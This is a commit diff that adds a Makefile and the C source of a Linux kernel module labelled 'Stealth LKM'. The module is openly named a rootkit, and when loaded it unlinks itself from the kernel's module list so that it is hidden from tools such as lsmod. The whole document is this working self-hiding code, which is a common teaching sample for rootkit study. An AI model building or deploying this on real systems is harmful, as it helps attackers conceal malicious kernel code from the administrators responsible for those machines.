upload source code

Makefile

@@ -0,0 +1,7 @@
+obj-m += rootkit.o
+
+all:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

rootkit.c

@@ -0,0 +1,40 @@
+#include <linux/init.h>
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/syscalls.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Unauthenticated Papaya");
+MODULE_DESCRIPTION("Stealth LKM");
+MODULE_VERSION("0.01");
+
+static struct list_head *prev_module;
+static short hidden = 0;
+
+void showme(void)
+{
+    list_add(&THIS_MODULE->list, prev_module);
+    hidden = 0;
+}
+
+void hideme(void)
+{
+    prev_module = THIS_MODULE->list.prev;
+    list_del(&THIS_MODULE->list);
+    hidden = 1;
+}
+
+static int __init rootkit_init(void)
+{
+    printk(KERN_INFO "Rootkit Loaded\n");
+    hideme();
+    return 0;
+}
+
+static void __exit rootkit_exit(void)
+{
+    printk(KERN_INFO "Rootkit unloaded\n");
+}
+
+module_init(rootkit_init);
+module_exit(rootkit_exit);